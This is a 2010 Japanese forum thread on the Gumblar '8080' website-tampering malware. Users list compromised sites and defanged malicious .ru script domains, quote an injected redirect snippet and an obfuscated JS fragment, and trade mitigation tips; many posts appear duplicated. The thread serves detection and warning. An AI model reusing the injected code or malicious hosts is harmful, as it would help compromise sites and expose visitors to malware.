リンク先読みは無効にしちゃってもいいんじゃないでしょうか
906 ：八頭 ◆YAGApwSaEw ：2010/07/05(月) 20:53:11
907 ：八頭 ◆YAGApwSaEw ：2010/07/05(月) 20:55:56
filelist.us
US留め
US留め
908 ：名無しさん＠お腹いっぱい。：2010/07/05(月) 21:36:31
ハードディスクに保存したwebページを開いたら
「Adobe Flash Playerは潜在的に危険な操作を停止しました。
お客様のコンピューターまたはネットワークで次のローカルアプリケーション
（ここに保存したwebページのローカルアドレスが入ってます）
はインターネット接続が有効になっている次の場所と通信しようとしています
ai.yimg.jp
このアプリケーションがインターネット通信できるようにするには、
「設定」をクリックしてください。
設定の変更後アプリケーションを再起動する必要があります」
というダイアログが出てきます、これはweb改竄ウイルスでしょうか？
怖いので何もいじくってません
「Adobe Flash Playerは潜在的に危険な操作を停止しました。
お客様のコンピューターまたはネットワークで次のローカルアプリケーション
（ここに保存したwebページのローカルアドレスが入ってます）
はインターネット接続が有効になっている次の場所と通信しようとしています
ai.yimg.jp
このアプリケーションがインターネット通信できるようにするには、
「設定」をクリックしてください。
設定の変更後アプリケーションを再起動する必要があります」
というダイアログが出てきます、これはweb改竄ウイルスでしょうか？
怖いので何もいじくってません
ちなみにＮＩＳ２０１０は無反応でした
910 ：名無しさん＠お腹いっぱい。：2010/07/05(月) 21:48:51
違います
911 ：名無しさん＠お腹いっぱい。：2010/07/05(月) 21:59:16
ai.yimg.jpはyahooのAdServerだよ
913 ：名無しさん＠お腹いっぱい。：2010/07/06(火) 01:23:58
>>905
修正したみたい。＞楽
修正したみたい。＞楽
914 ：夷塚 ◆y0JEaK6O/gDf ：2010/07/06(火) 09:40:07
>>906
「その問題はとうの昔に起きていますよ」
というご指摘をされてるんだなと解釈してたんですが…
なんか的外れな事を言ってる気がしてきましたorz
>>913
チェック乙です
精査まではしてませんけど、aguseで見た限りは大丈夫そうですね
「その問題はとうの昔に起きていますよ」
というご指摘をされてるんだなと解釈してたんですが…
なんか的外れな事を言ってる気がしてきましたorz
>>913
チェック乙です
精査まではしてませんけど、aguseで見た限りは大丈夫そうですね
915 ：名無しさん＠お腹いっぱい。：2010/07/06(火) 15:16:08
916 ：名無しさん＠お腹いっぱい。：2010/07/06(火) 15:31:06
トレンドマイクロwwww
917 ：夷塚 ◆y0JEaK6O/gDf ：2010/07/06(火) 16:45:29
918 ：名無しさん＠お腹いっぱい。：2010/07/06(火) 17:00:56
>>908のは例のFlashの設定にある自動的にP2P云々の奴だな
心配なら設定ページで開かないようにすればいい
心配なら設定ページで開かないようにすればいい
919 ：名無しさん＠お腹いっぱい。：2010/07/06(火) 18:46:49
ブラウザが外部の80と443に接続できるよう許可を与え
8080に接続できないようにPFWで設定しておけば良いのですか？
8080に接続できないようにPFWで設定しておけば良いのですか？
920 ：名無しさん＠お腹いっぱい。：2010/07/06(火) 20:19:46
>>917
あれれ、
「00_css/default.asp」以外にもあるのか。。。
「.ru/js.js」があったときのソース。（注意：アンチウイルスがソースに反応する場合があります。）
http://megalodon.jp/2010-0705-0530-51/www.dan.co.uk/viewsource/index.php?url=http%3A%2F%2Fwww.lalacha.com%2F00_css%2Fdefault.asp
いま、撮ったソース。
http://megalodon.jp/2010-0706-2009-42/www.dan.co.uk/viewsource/index.php?url=http%3A%2F%2Fwww.lalacha.com%2F00_css%2Fdefault.asp
あれれ、
「00_css/default.asp」以外にもあるのか。。。
「.ru/js.js」があったときのソース。（注意：アンチウイルスがソースに反応する場合があります。）
http://megalodon.jp/2010-0705-0530-51/www.dan.co.uk/viewsource/index.php?url=http%3A%2F%2Fwww.lalacha.com%2F00_css%2Fdefault.asp
いま、撮ったソース。
http://megalodon.jp/2010-0706-2009-42/www.dan.co.uk/viewsource/index.php?url=http%3A%2F%2Fwww.lalacha.com%2F00_css%2Fdefault.asp
921 ：名無しさん＠お腹いっぱい。：2010/07/06(火) 20:24:36
まずこのスレきたら
>>2を見てURLチェッカーでURL調査しようね＾－＾
>>2を見てURLチェッカーでURL調査しようね＾－＾
922 ：名無しさん＠お腹いっぱい。：2010/07/06(火) 20:25:37
923 ：名無しさん＠お腹いっぱい。：2010/07/06(火) 20:30:24
って>>922
別のアドのads.jsになってた。。。
http://megalodon.jp/2010-0706-2027-14/www.dan.co.uk/viewsource/index.php?url=http%3A%2F%2Fwww%2Elalacha%2Ecom%2Finfo%2Fstockdiarylist%2Easp
別のアドのads.jsになってた。。。
http://megalodon.jp/2010-0706-2027-14/www.dan.co.uk/viewsource/index.php?url=http%3A%2F%2Fwww%2Elalacha%2Ecom%2Finfo%2Fstockdiarylist%2Easp
924 ：sage：2010/07/06(火) 23:04:18
楽々茶はSQLインジェクションだから
データベースを修正すれば全部解決
またやられれば、あちこちにまた挿入…ってことになりますね
データベースを修正すれば全部解決
またやられれば、あちこちにまた挿入…ってことになりますね
925 ：名無しさん＠お腹いっぱい。：2010/07/07(水) 00:41:55
926 ：名無しさん＠お腹いっぱい。：2010/07/07(水) 01:34:37
927 ：名無しさん＠お腹いっぱい。：2010/07/07(水) 01:53:42
928 ：名無しさん＠お腹いっぱい。：2010/07/07(水) 02:29:49
929 ：名無しさん＠お腹いっぱい。：2010/07/07(水) 08:35:25
930 ：名無しさん＠お腹いっぱい。：2010/07/07(水) 10:35:53
スレの存在意義あるよね、初心者の手助けになってるし＾－＾
931 ：名無しさん＠お腹いっぱい。：2010/07/07(水) 10:54:18
Gumblarってそんなに流行してる？周囲みても引っ掛かった人いないよ・・・・・
最近はルーターとかウイルスソフト入れて対策してるから大丈夫のようです
最近はルーターとかウイルスソフト入れて対策してるから大丈夫のようです
932 ：名無しさん＠お腹いっぱい。：2010/07/07(水) 11:06:06
933 ：名無しさん＠お腹いっぱい。：2010/07/07(水) 11:52:47
934 ：名無しさん＠お腹いっぱい。：2010/07/07(水) 14:02:19
Browser Guard 2010
http://www.gigafree.net/security/antivirus/browserguard.html
http://www.gigafree.net/security/antivirus/browserguard.html
935 ：名無しさん＠お腹いっぱい。：2010/07/07(水) 15:02:46
イラネ(ﾟдﾟ)
936 ：夷塚 ◆y0JEaK6O/gDf ：2010/07/07(水) 15:13:06
【悪用厳禁】
www●infini+ypm●jp/shale52●html
→<scr ipt>location = 'h++p://thesuperviagra●com/';</scr ipt>
バリュードメイン…orz
www●infini+ypm●jp/shale52●html
→<scr ipt>location = 'h++p://thesuperviagra●com/';</scr ipt>
バリュードメイン…orz
937 ：名無しさん＠お腹いっぱい。：2010/07/07(水) 18:15:31
>>919
>>928
8080はウィルス作者が仮につけたもんだから、
今後81とか444とか勝手に変わるかも知れない
現状、確かにそれで感染しにくくはなるが
それは完璧な対応ではない
こういう過信してる奴こそ危ない
初期ガンブラーはtcp80そのものじゃなかったっけ？
>>928
8080はウィルス作者が仮につけたもんだから、
今後81とか444とか勝手に変わるかも知れない
現状、確かにそれで感染しにくくはなるが
それは完璧な対応ではない
こういう過信してる奴こそ危ない
初期ガンブラーはtcp80そのものじゃなかったっけ？
938 ：名無しさん＠お腹いっぱい。：2010/07/07(水) 18:29:17
939 ：名無しさん＠お腹いっぱい。：2010/07/08(木) 09:02:58
いちばんの対策は、WinVista/7を使って、非管理者の一般ユーザー権限でログインしてWeb閲覧、
ブラウザは、IE8(保護モードオン)もしくはChrome
これでしょ？
OS/ブラウザレベルで0-dayでもやられなくしたうえで、さらにウイルス対策ソフトで念のために防御
ブラウザは、IE8(保護モードオン)もしくはChrome
これでしょ？
OS/ブラウザレベルで0-dayでもやられなくしたうえで、さらにウイルス対策ソフトで念のために防御
940 ：名無しさん＠お腹いっぱい。：2010/07/08(木) 15:51:18
ウイルス対策ソフトなんだが
今まで２ｃｈのログファイルの中のコードが反応したくらいで
後は何も検出されたことないな・・・
何もないので逆に不安になるｗｗｗ
今まで２ｃｈのログファイルの中のコードが反応したくらいで
後は何も検出されたことないな・・・
何もないので逆に不安になるｗｗｗ
941 ：名無しさん＠お腹いっぱい。：2010/07/08(木) 21:02:29
eicar.com踏んでみたり、メールで自分宛に送ってみたりすれば？
942 ：名無しさん＠お腹いっぱい。：2010/07/08(木) 21:18:40
あ、eicar.comはテストしたことあるよ
それには反応した
言うの忘れてた・・・ｽﾏｿ
それには反応した
言うの忘れてた・・・ｽﾏｿ
943 ：名無しさん＠お腹いっぱい。：2010/07/09(金) 06:49:34
944 ：名無しさん＠お腹いっぱい。：2010/07/09(金) 09:59:14
>>943
Vista以降でも脆弱性がないだけで「ヘルプとサポートセンター」は開くってこと？
XPならこの脆弱性だけでもシステムいじられるみたいだからマズイよなあ
ttp://www.smilebanana.com/archives/2010/06/29-2302.php
Vista以降でも脆弱性がないだけで「ヘルプとサポートセンター」は開くってこと？
XPならこの脆弱性だけでもシステムいじられるみたいだからマズイよなあ
ttp://www.smilebanana.com/archives/2010/06/29-2302.php
945 ：名無しさん＠お腹いっぱい。：2010/07/09(金) 11:46:17
mail●hobby-channel●net/item-review/6359-6359●html
昨夜、上のアドレスを開いたら
MSIE Java Deployment Toolkit Input Invalidation
MSIE ADODB.Stream Object File Installation Weakness
の2個が
侵入の試みを遮断しました。と出ました
完全スキャンもしたんですが、何も出ませんでした。
XP ノートンです。
昨夜、上のアドレスを開いたら
MSIE Java Deployment Toolkit Input Invalidation
MSIE ADODB.Stream Object File Installation Weakness
の2個が
侵入の試みを遮断しました。と出ました
完全スキャンもしたんですが、何も出ませんでした。
XP ノートンです。
946 ：943：2010/07/09(金) 12:23:53
>>944
自分はXPでIE6を使ってます。
で、そのサイトを踏んだら
「ヘルプとサポートセンター」が開きそこにプログラムのような文字列が表示されました。
（そのまま開きっぱなしでその後の変化何も無し）
その後、複数社オンラインスキャンしましたが何も見つかりませんし
Gumblar/GENOのまとめサイトも見て色々探してみましたが怪しいものは何もありません。
それに944さんが教えてくれたサイトを見ると
『「ヘルプとサポートセンター」の画面が表示されてすぐに消え、同時にJavaのアイコンがタスクバーに現れる』
とのことなので、もしかしてギリギリ感染していないのでは？
とちょっと思いました。
でも全く同じ状況ではないですしもう少し調べてみようと思います。
（最悪の場合リカバリした方がよいかな、とも考えています）
ありがとうございました。
自分はXPでIE6を使ってます。
で、そのサイトを踏んだら
「ヘルプとサポートセンター」が開きそこにプログラムのような文字列が表示されました。
（そのまま開きっぱなしでその後の変化何も無し）
その後、複数社オンラインスキャンしましたが何も見つかりませんし
Gumblar/GENOのまとめサイトも見て色々探してみましたが怪しいものは何もありません。
それに944さんが教えてくれたサイトを見ると
『「ヘルプとサポートセンター」の画面が表示されてすぐに消え、同時にJavaのアイコンがタスクバーに現れる』
とのことなので、もしかしてギリギリ感染していないのでは？
とちょっと思いました。
でも全く同じ状況ではないですしもう少し調べてみようと思います。
（最悪の場合リカバリした方がよいかな、とも考えています）
ありがとうございました。
947 ：名無しさん＠お腹いっぱい。：2010/07/09(金) 16:59:56
JRE 6u21が来てるみたいだが
セキュリティに関するアップデートはないようだ
セキュリティに関するアップデートはないようだ
948 ：名無しさん＠お腹いっぱい。：2010/07/09(金) 17:43:23
いつになったらこのウイルスから解放されるの？
つーか何故誰もこの改竄やってるバカを捕まえないんだ？
他のウイルス作者はガンガン捕まってるというのに…
これだけ就活とか会社の営業に悪影響を与えているんだから
国レベルで捕まえるのが普通だろうに
つーか何故誰もこの改竄やってるバカを捕まえないんだ？
他のウイルス作者はガンガン捕まってるというのに…
これだけ就活とか会社の営業に悪影響を与えているんだから
国レベルで捕まえるのが普通だろうに
949 ：名無しさん＠お腹いっぱい。：2010/07/09(金) 17:53:06
>>948
> いつになったらこのウイルスから解放されるの？
このウイルスが収束しても似たのが出てくる
実際いまはすでに亜種いろいろ
> つーか何故誰もこの改竄やってるバカを捕まえないんだ？
亜種も含めてたくさんいます
> 他のウイルス作者はガンガン捕まってるというのに…
そうでもないだろ
> これだけ就活とか会社の営業に悪影響を与えているんだから
> 国レベルで捕まえるのが普通だろうに
国レベルで捕まえるって例えばどんなふうにやるの？
就活は個人の問題
会社もPC管理がおろそかなとこが問題になってるだけ
> いつになったらこのウイルスから解放されるの？
このウイルスが収束しても似たのが出てくる
実際いまはすでに亜種いろいろ
> つーか何故誰もこの改竄やってるバカを捕まえないんだ？
亜種も含めてたくさんいます
> 他のウイルス作者はガンガン捕まってるというのに…
そうでもないだろ
> これだけ就活とか会社の営業に悪影響を与えているんだから
> 国レベルで捕まえるのが普通だろうに
国レベルで捕まえるって例えばどんなふうにやるの？
就活は個人の問題
会社もPC管理がおろそかなとこが問題になってるだけ
950 ：名無しさん＠お腹いっぱい。：2010/07/09(金) 20:17:19
951 ：夷塚 ◆y0JEaK6O/gDf ：2010/07/10(土) 01:15:46
http://hobby-channel.net/notice/50-hcspecial/19341-19341.html
> 弊社サイトのウイルス感染に関するお詫びとお願い
> 弊社サイトのウイルス感染に関するお詫びとお願い
952 ：名無しさん＠お腹いっぱい。：2010/07/10(土) 01:39:11
＿人人人人人人人人人人人人人人人＿
＞ わりとどうでもいい ＜
￣^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^^Ｙ^￣
ヘ(^o^)ヘ
|∧
/
＞ わりとどうでもいい ＜
￣^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^^Ｙ^￣
ヘ(^o^)ヘ
|∧
/
953 ：名無しさん＠そうだ選挙に行こう：2010/07/10(土) 17:15:09
うちのサーバはFTPログインできるのはホームページ管理会社のIPアドレスのみ
＆契約時の条件にウイルス対策ソフトウェアいれて最新に更新したPCから更新することっていれてるぞ
＆契約時の条件にウイルス対策ソフトウェアいれて最新に更新したPCから更新することっていれてるぞ
954 ：名無しさん＠そうだ選挙に行こう：2010/07/10(土) 17:40:37
つい最近ヘルプとサポセンの脆弱性出たよな
955 ：名無しさん＠そうだ選挙に行こう：2010/07/10(土) 18:33:08
956 ：名無しさん＠そうだ選挙に行こう：2010/07/10(土) 18:49:03
今のところはね。レジストリでhcp潰す奴(FixItも同じ)。
今月パッチ配布予定。
今月パッチ配布予定。
957 ：名無しさん＠そうだ選挙に行こう：2010/07/10(土) 18:58:43
Microsoft、7月の月例更新は3件の「緊急」の脆弱性に対応
Microsoft は今回、最近見つかった2つのゼロデイ脆弱性のための
修正パッチをリリースしようとしている。
Googleのエンジニアが先週公開した
ゼロデイ脆弱性の1つは、『Microsoft Windows Help and Support Center』の
機能の欠陥
対応なしは
1.今週初めに匿名のハッカーグループが公表したもう1つのゼロデイ脆弱性に今回対応しない予定
2.
6日にユーザーおよびシステム管理者に対して警告を行なった
開発者向けの重要なクラスライブラリ『Microsoft Foundation Class』(MFC) に存在する
セキュリティホールについても今回対応しない予定
なお、Microsoftはこの日をもって、Windows 2000とWindows XP SP2(32bitのみ)のサポートを打ち切る。
以後、たとえ深刻な問題が見つかったとしても、解決のための更新プログラムは提供しない。
Microsoft は今回、最近見つかった2つのゼロデイ脆弱性のための
修正パッチをリリースしようとしている。
Googleのエンジニアが先週公開した
ゼロデイ脆弱性の1つは、『Microsoft Windows Help and Support Center』の
機能の欠陥
対応なしは
1.今週初めに匿名のハッカーグループが公表したもう1つのゼロデイ脆弱性に今回対応しない予定
2.
6日にユーザーおよびシステム管理者に対して警告を行なった
開発者向けの重要なクラスライブラリ『Microsoft Foundation Class』(MFC) に存在する
セキュリティホールについても今回対応しない予定
なお、Microsoftはこの日をもって、Windows 2000とWindows XP SP2(32bitのみ)のサポートを打ち切る。
以後、たとえ深刻な問題が見つかったとしても、解決のための更新プログラムは提供しない。
958 ：名無しさん＠そうだ選挙に行こう：2010/07/10(土) 23:39:55
959 ：夷塚 ◆y0JEaK6O/gDf ：2010/07/11(日) 02:08:29
960 ：コテハン ◆8080adndqg ：2010/07/11(日) 11:08:49
【陥落サイトのURL悪用厳禁】
www●prjapan●com/ ←どうやったらこうなる？
www●prjapan●com/ ←どうやったらこうなる？
961 ：名無しさん＠そうだ選挙に行こう：2010/07/11(日) 11:25:21
静的なhtmlではなく、いろんなデータベースやファイルから拾って生成する
動的なページにはよくあること。
www●prjapan●com/xmlrpc.php
なんてのまでやられてる。
動的なページにはよくあること。
www●prjapan●com/xmlrpc.php
なんてのまでやられてる。
962 ：夷塚 ◆y0JEaK6O/gDf ：2010/07/11(日) 19:35:34
やっと通った…
gopakgyo●playmateswcc●com:8080/CAD●js
→gopakgyo●playmateswcc●com:8080/index●php_Gk…
→<div name="Ndo251m5n" id="Ndo251m5n">103R100R38R38…
http://www.virustotal.com/analisis/2c338972f6a08ae0b9945b1a00e76025101208c8912be63cc79742294684666a-1278839935
Result: 1/41 (2.44%) … Troj/ObfJS-X
怖くてこれ以上先に行けなかったけど、例の脆弱性狙いかな
Avira、Avast、Kasperskyに検体提出
gopakgyo●playmateswcc●com:8080/CAD●js
→gopakgyo●playmateswcc●com:8080/index●php_Gk…
→<div name="Ndo251m5n" id="Ndo251m5n">103R100R38R38…
http://www.virustotal.com/analisis/2c338972f6a08ae0b9945b1a00e76025101208c8912be63cc79742294684666a-1278839935
Result: 1/41 (2.44%) … Troj/ObfJS-X
怖くてこれ以上先に行けなかったけど、例の脆弱性狙いかな
Avira、Avast、Kasperskyに検体提出
963 ：夷塚 ◆y0JEaK6O/gDf ：2010/07/12(月) 15:39:49
hinano●net ：Forbidden
prjapan●com ：スクリプト消去/告知なし
www●lalacha●com/product/productList●asp?kindid=4 ：found「.ru/js.js」
www●infinitypm●jp/shale52●html ：生存/跳び先変更/デジロぇ…
prjapan●com ：スクリプト消去/告知なし
www●lalacha●com/product/productList●asp?kindid=4 ：found「.ru/js.js」
www●infinitypm●jp/shale52●html ：生存/跳び先変更/デジロぇ…
964 ：名無しさん＠お腹いっぱい。：2010/07/12(月) 16:59:00
取扱注意
www●keiunkaku●com
ドットコム：8080恐ろしいです＞＜；
www●keiunkaku●com
ドットコム：8080恐ろしいです＞＜；
965 ：名無しさん＠お腹いっぱい。：2010/07/13(火) 05:40:04
今流行りらしいミューズの音が流れるウイルスは
このweb改変しているウイルスとは全然違うものでしょうか？
このweb改変しているウイルスとは全然違うものでしょうか？
966 ：名無しさん＠お腹いっぱい。：2010/07/13(火) 05:42:57
はい
967 ：名無しさん＠お腹いっぱい。：2010/07/13(火) 05:46:19
申し訳ありませんでした。
968 ：名無しさん＠お腹いっぱい。：2010/07/13(火) 05:51:27
はい
969 ：夷塚 ◆y0JEaK6O/gDf ：2010/07/13(火) 20:43:32
www●keiunkaku●com ：駆除を確認
www●lalacha●com ：再改竄を確認/頑張りすぎorz
> 検出数 URL
> 612 peer●webserviceaan●ru/js●js
> 177 www●lalacha●com/01_js/function●js
> 158 go●postfolkovs●ru/js●js
> 123 sslput●postfolkovs●ru/js●js
> 93 vba●postfolkovs●ru/js●js
> 90 frame●webservicesttt●ru/js●js
> 64 base●webserviceftp●ru/js●js
> 55 ole●webservicesbba●ru/js●js
> 54 confirm●postfolkovs●ru/js●js
> 54 ntio●webservicelupa●ru/js●js
> 27 www●ads-t●ru/ads●js
www●lalacha●com ：再改竄を確認/頑張りすぎorz
> 検出数 URL
> 612 peer●webserviceaan●ru/js●js
> 177 www●lalacha●com/01_js/function●js
> 158 go●postfolkovs●ru/js●js
> 123 sslput●postfolkovs●ru/js●js
> 93 vba●postfolkovs●ru/js●js
> 90 frame●webservicesttt●ru/js●js
> 64 base●webserviceftp●ru/js●js
> 55 ole●webservicesbba●ru/js●js
> 54 confirm●postfolkovs●ru/js●js
> 54 ntio●webservicelupa●ru/js●js
> 27 www●ads-t●ru/ads●js
970 ：名無しさん＠お腹いっぱい。：2010/07/15(木) 05:22:16
相模女子大が感染してるのもこれですかね？
971 ：名無しさん＠お腹いっぱい。：2010/07/15(木) 05:23:56
大学のサイトならとりあえずこのウィルスに限らず至急電凸orメル凸すべし
大学のサイトなんて他のサイトと比べてアクセスされる回数は多いんだから
大学のサイトなんて他のサイトと比べてアクセスされる回数は多いんだから
972 ：名無しさん＠お腹いっぱい。：2010/07/15(木) 05:26:53
内部向けのとこだし対処する告知あるからいいかと思って・・・
973 ：名無しさん＠お腹いっぱい。：2010/07/15(木) 13:45:25
内部向けのサイトなら外から確認できないだろ
974 ：名無しさん＠お腹いっぱい。：2010/07/15(木) 21:33:40
chibi●9981●ne●jp/psd/
975 ：名無しさん＠お腹いっぱい。：2010/07/16(金) 13:28:39
lacinquieme●s7●xrea●com
976 ：名無しさん＠お腹いっぱい。：2010/07/18(日) 12:57:21
いつも使っている有名なあるサイトで、
新しいコンテンツがあったので登録しようとしたら、
別のページへ飛ぶんだけど、その時に火狐のCookieの許可画面で～.jp:8080て表示が出たが、
これは怪しいサイト？
aguseで元リンクからとか探ったけど、反応は出なかった
新しいコンテンツがあったので登録しようとしたら、
別のページへ飛ぶんだけど、その時に火狐のCookieの許可画面で～.jp:8080て表示が出たが、
これは怪しいサイト？
aguseで元リンクからとか探ったけど、反応は出なかった
977 ：名無しさん＠お腹いっぱい。：2010/07/18(日) 13:12:45
別に8080ポートが全部怪しいわけじゃないし。
ここは鑑定スレじゃないので、その辺を
自分で判断できないなら他行ってくれ。
ここは鑑定スレじゃないので、その辺を
自分で判断できないなら他行ってくれ。
978 ：名無しさん＠お腹いっぱい。：2010/07/18(日) 13:27:44
>>976
URL貼れよ
URL貼れよ
979 ：名無しさん＠お腹いっぱい。：2010/07/18(日) 14:56:38
www●realworld●jp/game
の「今すぐはじめる」をクリックした次の同意ページで、
同意を選ぶと出るクッキー可否が8080表示ですが・・・
同意ページはどのゲームでも8080クッキーが出ます
の「今すぐはじめる」をクリックした次の同意ページで、
同意を選ぶと出るクッキー可否が8080表示ですが・・・
同意ページはどのゲームでも8080クッキーが出ます
980 ：名無しさん＠お腹いっぱい。：2010/07/18(日) 17:06:18
でも8080は全部遮断するくらいが精神衛生に良いと思うよ
981 ：名無しさん＠お腹いっぱい。：2010/07/18(日) 23:26:36
18日時点の8080なら、>>4をすべて網羅して
あれば問題なしと思われる
あれば問題なしと思われる
982 ：名無しさん＠お腹いっぱい。：2010/07/19(月) 18:53:42
www●interiorshop-bigjoy●jp/
983 ：名無しさん＠お腹いっぱい。：2010/07/20(火) 09:39:22
取扱注意
www●hoshino-jimusho●co●jp
minimini-east●jp
ミニミニで部屋借りるのやめとこ…
www●hoshino-jimusho●co●jp
minimini-east●jp
ミニミニで部屋借りるのやめとこ…
984 ：名無しさん＠お腹いっぱい。：2010/07/20(火) 16:49:34
取扱注意
saitama●rl-toyota●co●jp
www●career-engine●jp
www●kaitori-bancho●com
トヨタレンタリース埼玉ｗｗｗ
saitama●rl-toyota●co●jp
www●career-engine●jp
www●kaitori-bancho●com
トヨタレンタリース埼玉ｗｗｗ
>>983
暇なので電凸
＞minimini-east●jp
別の方より連絡済
調査会社に依頼した結果感染の事実なしの連絡ありだそうです
私から説明して置きました
＞www●hoshino-jimusho●co●jp
他の方から感染の話しがないので
私を警察に訴えるとの事
上等ですw
警視庁ハイテク課、赤坂署の確認した所、連絡が有った事実は確認されず
警視庁ハイテク課から＞www●hoshino-jimusho●co●jpに連絡して貰う様約束
魚拓
http://megalodon.jp/2010-0720-1730-26/www.hoshino-jimusho.co.jp/
aguse
http://www.aguse.jp/?m=w&url=http%3A%2F%2Fwww.hoshino-jimusho.co.jp%2F&x=13&y=13
暇なので電凸
＞minimini-east●jp
別の方より連絡済
調査会社に依頼した結果感染の事実なしの連絡ありだそうです
私から説明して置きました
＞www●hoshino-jimusho●co●jp
他の方から感染の話しがないので
私を警察に訴えるとの事
上等ですw
警視庁ハイテク課、赤坂署の確認した所、連絡が有った事実は確認されず
警視庁ハイテク課から＞www●hoshino-jimusho●co●jpに連絡して貰う様約束
魚拓
http://megalodon.jp/2010-0720-1730-26/www.hoshino-jimusho.co.jp/
aguse
http://www.aguse.jp/?m=w&url=http%3A%2F%2Fwww.hoshino-jimusho.co.jp%2F&x=13&y=13
986 ：名無しさん＠お腹いっぱい。：2010/07/20(火) 19:15:15
お、乙です・・・
987 ：名無しさん＠お腹いっぱい。：2010/07/20(火) 19:39:34
怒るだけならともかく（それもアレだけど）、どいつもこいつも「訴える」ってどんな神経かね？
マニュアルでもあるのか
マニュアルでもあるのか
988 ：名無しさん＠お腹いっぱい。：2010/07/20(火) 19:50:40
> 他の方から感染の話しがないので
> 私を警察に訴えるとの事
( ﾟдﾟ)ﾎﾟｶｰﾝ ( ﾟдﾟ)ﾎﾟｶｰﾝ ( ﾟдﾟ)ﾎﾟｶｰﾝ ( ﾟдﾟ)ﾎﾟｶｰﾝ
> 私を警察に訴えるとの事
( ﾟдﾟ)ﾎﾟｶｰﾝ ( ﾟдﾟ)ﾎﾟｶｰﾝ ( ﾟдﾟ)ﾎﾟｶｰﾝ ( ﾟдﾟ)ﾎﾟｶｰﾝ
989 ：名無しさん＠お腹いっぱい。：2010/07/20(火) 20:19:59
minimini-eastはコードが見当たらない
直したのか、勘違いしたのか…
直したのか、勘違いしたのか…
990 ：名無しさん＠お腹いっぱい。：2010/07/20(火) 23:24:39
991 ：名無しさん＠お腹いっぱい。：2010/07/21(水) 01:02:24
8080が使ってくるかもしれんので投下しておく
【ゼロデイ攻撃】Windowsの脆弱性狙うトロイの木馬～MSがアドバイザリ公開
ttp://www.so-net.ne.jp/security/news/view.cgi?type=2&no=2296
マイクロソフト セキュリティ アドバイザリ (2286198)
Windows シェルの脆弱性により、リモートでコードが実行される
ttp://www.microsoft.com/japan/technet/security/advisory/2286198.mspx
WebClient無効は必須やね。
【ゼロデイ攻撃】Windowsの脆弱性狙うトロイの木馬～MSがアドバイザリ公開
ttp://www.so-net.ne.jp/security/news/view.cgi?type=2&no=2296
マイクロソフト セキュリティ アドバイザリ (2286198)
Windows シェルの脆弱性により、リモートでコードが実行される
ttp://www.microsoft.com/japan/technet/security/advisory/2286198.mspx
WebClient無効は必須やね。
992 ：名無しさん＠お腹いっぱい。：2010/07/21(水) 01:03:13
何か前も訴えるとか言ってきた奴いたよなぁ
993 ：名無しさん＠お腹いっぱい。：2010/07/21(水) 07:53:51
>>991
WebDAV(WebClient)無効はあくまでWebDAV使った攻撃を潰せるだけで、
ネットワークドライブとかUSBメモリとかには無力です。
他の既知の脆弱性を組み合わせてexeとセットで
ローカルに落とし込むドロッパもありえます。
必須なのはWebDAVよりもlnkアイコンを潰すことです。
regeditでめんどいしデスクトップがダサくなるけど。
WebDAV(WebClient)無効はあくまでWebDAV使った攻撃を潰せるだけで、
ネットワークドライブとかUSBメモリとかには無力です。
他の既知の脆弱性を組み合わせてexeとセットで
ローカルに落とし込むドロッパもありえます。
必須なのはWebDAVよりもlnkアイコンを潰すことです。
regeditでめんどいしデスクトップがダサくなるけど。
994 ：名無しさん＠お腹いっぱい。：2010/07/21(水) 10:45:16
995 ：名無しさん＠お腹いっぱい。：2010/07/21(水) 11:47:57
日刊スポーツのトップで常駐が反応した
996 ：名無しさん＠お腹いっぱい。：2010/07/21(水) 12:10:35
PC WatchのトップでAVGに怒られた
997 ：名無しさん＠お腹いっぱい。：2010/07/21(水) 12:37:52
AVGだけみたいだから誤検出臭い…すまん
998 ：名無しさん＠お腹いっぱい。：2010/07/21(水) 13:27:53
取扱注意
www●kakiyasuhonten●co●jp
www●kakiyasuhonten●co●jp
999 ：名無しさん＠お腹いっぱい。：2010/07/21(水) 13:52:18
store●nextbusinesssystem●com
www●kidsdrink●jp
www●kidsdrink●jp
1000 ：名無しさん＠お腹いっぱい。：2010/07/21(水) 14:10:06
死ね
1001 ：１００１：
このスレッドは１０００を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。
もう書けないので、新しいスレッドを立ててくださいです。。。